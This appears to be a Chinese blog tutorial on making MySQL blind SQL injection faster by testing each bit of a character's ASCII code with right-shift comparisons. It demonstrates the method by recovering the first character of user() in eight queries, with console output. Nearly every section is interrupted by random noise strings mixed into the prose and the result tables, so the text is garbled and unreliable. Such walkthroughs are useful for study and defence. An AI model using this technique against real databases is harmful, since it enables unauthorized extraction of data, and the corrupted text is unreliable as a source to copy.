关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

) M: M6 j* O: n' S

- s2 w8 ]" O" i0 Q; v下面将以查询mysql数据库当中user()的第一位为例:
2 |4 K+ y- a" m0 B! ]7 _6 N, J/ a


& |4 o: f4 }  B% j3 \$ p2 B" lps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



: W: U$ P/ P  d! ?& h& {4 w首先执行如下sql语句:
( l! f3 C; E& z9 Q% e1 o5 q

9 D# _$ o6 x. W# z. u
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;


& w4 m5 w! b8 K$ a2 ~
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
: t& [: s3 {$ K3 M! b! \/ G! @9 b

/ B; S, u# U5 k4 t) H% J
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
; \7 t: @4 F' G) U4 k- L
3 U& x/ k7 Q  u2 `* q5 G0 e4 F
6 s' V1 a1 `, a0 a
' {% s1 O; w! k如果运算结果为1,说明第一位为0,不为1


) h6 O+ @% u: s: G  w4 |. D3 x; p
8 @5 @$ S+ C: I+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

" @9 S; B: i( N2 I| 1 |

+————————————–+

1 row in set (0.00 sec)

, Y) j* Q* \3 N$ P这样我们就确定这个8bit的ascii的第一位为0

0 i. Y5 G8 s$ s

第二次我们来做6次右偏移来确定前两位

  A% t9 G. s' L# ^* `7 S4 a$ N. d

3 ~3 K; m  U) C3 u1 v* t: f5 ~+ `* z前两位可能是01或00,即依然可以与0做比较,

4 n6 j4 A' [: ]7 o4 ~mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
: ^: _8 Z3 p: c0 @4 v" g3 |' d  Q
% A- W& x% u* O# x4 c+————————————–+

# Q8 B- R6 F: [( M' j9 ]| (ascii((substr(user(),1,1))) >> 6)=0 |
' f; Q0 g+ Y$ q! g- d3 s
  E( e& x/ s9 f8 n& j- I' X+————————————–+
8 P$ l* V6 a  l8 E
& A! @5 n. ?# B1 d. @| 0 |
) q* c5 M7 _3 b! P3 y9 Y
+————————————–+

1 row in set (0.00 sec)

4 \2 }% x. v0 `% ^- D9 c6 {
6 r: F! g3 V1 z4 A" b
" @$ t& f5 @$ F结果为0,即第二位为1
, {& B; O$ w0 `- u/ b6 b3 R1 S
2 _. q. u0 Z. Q6 n5 k) u2 n
% Z9 A! m4 F# u6 P! L& o
开始猜测前三位为010或011
: M+ ]& V/ m+ Y, F
* o# V' M; Y, m" s( ~
9 E5 _: l; |* H8 N0 [8 u
2 q2 g+ k+ A  M8 c& d7 }: ?让我们看看010和011的ascii码是多少
( X5 Z* D& S! l( y1 u+ H
1 F8 V( z) m/ e. _% ~5 y6 n

分别查询select b’011′ select b’010′
" O+ t! U: j- S2 f5 L


6 s. ?2 \" \9 A# x5 \7 }获得结果 010 = 2 011 = 3
+ ]; f+ b) @/ V. f% f" [" B+ V
6 L4 G$ g3 _* h; I

5 h7 Y! Y/ d3 G& H7 Q执行如下sql:



mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
1 G2 x5 h+ t+ \* z3 p5 f$ {
+————————————–+

7 P- Q7 n! v9 p! |: w4 q4 V| (ascii((substr(user(),1,1))) >> 5)=2 |
) }; Y% @$ V! m; p# @+ K
+————————————–+
+ R* Q- X5 M4 O6 R
| 0 |
, t  t7 v! {& ?( B
9 y5 R8 K# C: j) K  h8 t+————————————–+
) \5 w6 f& j( n% ^1 ^
5 k8 S% W+ Y# o. Z* }即前三位不为010,而是011
: w& U  U7 Q: O' W( g$ ^$ B8 |

4 H; n' _, I. {( P% h. ]$ ~  a
5 b6 v1 s2 }8 x# _) S( z* ~直到获得最后一位
. ?" V$ N* N' F# j/ n( A) C  i
) j& _" T/ Y/ h: a/ ~

最终结果为:01110010



4 x; Q1 a7 R) Y. O转换一下:
3 w( T. L  \3 `) y" _) J
5 D) ~. g' X1 c7 M! T# X) `3 g3 }
5 O! \" r' h( _* @3 t, n, J3 b
8 p6 @  g! }. wselect b’01110010′
# s" j* }1 ]- n4 e- t


: n7 f6 s6 f  t查询结果



+————-+

* [4 ~, G1 j7 R& p8 F9 s| b’01110010′ |

+————-+

9 @9 |% p' R6 k0 D" f; O, C2 g+ _: t| r |
8 O5 D6 ?; {9 Y1 Q8 m
+————-+
1 B1 G5 w; `! [. G, q' _1 m
9 G* |; t% X6 q. w- [, O1 row in set (0.00 sec)

# T8 t! K$ e7 t( g. x

这样我们就获得了user()的第一位.其它位依此类推
; `. p6 v; H: V4 ?/ ^4 [
. l8 V) g2 P9 O; @; L+ @- E